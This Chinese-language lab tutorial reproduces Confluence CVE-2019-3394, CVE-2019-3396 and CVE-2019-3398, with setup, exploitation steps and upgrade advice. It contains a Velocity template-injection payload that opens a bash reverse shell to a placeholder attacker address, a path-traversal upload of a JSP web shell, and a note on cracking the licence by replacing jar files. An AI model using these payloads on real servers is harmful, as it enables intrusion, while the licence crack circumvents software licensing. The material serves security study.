Confluence 漏洞总结
字数 1297 2025-08-15 21:31:15
Confluence漏洞总结与复现教学文档
1. 漏洞概述
Confluence是企业级知识管理软件,其Server和Data Center版本中的widgetconnecter组件(≤3.1.3)存在高危漏洞,包括:
- CVE-2019-3394:任意文件读取
- CVE-2019-3396:远程命令执行(RCE)
- CVE-2019-3398:路径穿越文件上传
2. 影响版本
- 2.0.0 ≤ version < 6.6.13
- 6.7.0 ≤ version < 6.12.4
- 6.13.0 ≤ version < 6.13.4
- 6.14.0 ≤ version < 6.14.3
- 6.15.0 ≤ version < 6.15.2
3. 环境搭建
3.1 依赖组件
- 数据库:MySQL 5.7(Docker部署)
docker run --name mysql5.7 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7 - Confluence 6.3.4:
wget https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.3.4-x64.bin chmod +x atlassian-confluence-6.3.4-x64.bin ./atlassian-confluence-6.3.4-x64.bin
3.2 破解与配置
- 替换关键文件:
/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.2.jar/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-2.22.jar
- 添加MySQL驱动:
- 将
mysql-connector-java-5.0.8-bin.jar放入/opt/atlassian/confluence/lib
- 将
4. 漏洞复现
4.1 CVE-2019-3394(任意文件读取)
- 步骤:
- 在编辑器中插入图片,发布时拦截请求,删除
filename参数。 - 使用“导出为Word”功能读取
web.xml等敏感文件。
- 在编辑器中插入图片,发布时拦截请求,删除
- 关键点:利用导出功能解析恶意图片链接。
4.2 CVE-2019-3396(RCE)
- 利用小工具连接器:
- 创建宏→选择“小工具连接器”,输入恶意地址,点击“预览”拦截请求。
- 添加
_template参数执行Velocity模板注入:#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -i >& /dev/tcp/攻击者IP/端口 0>&1")
- 效果:反弹Shell或执行系统命令(如
gnome-calculator)。
4.3 CVE-2019-3398(路径穿越上传)
- 步骤:
- 上传文件时修改
filename为../../shell.jsp。 - 文件实际存储在ZIP中,但通过路径穿越写入Web目录。
- 上传文件时修改
- 验证:访问
http://目标/shell.jsp执行恶意代码。
5. 修复建议
升级至以下安全版本:
- 6.6.13 / 6.12.4 / 6.13.4 / 6.14.3 / 6.15.2
6. 参考链接
附录:漏洞利用截图
- 文件读取:导出Word后查看
web.xml内容。 - RCE:成功弹出计算器或获取反向Shell。
- 文件上传:通过路径穿越写入JSP木马。
注:本文仅限安全研究,实际测试需获得授权,禁止非法利用。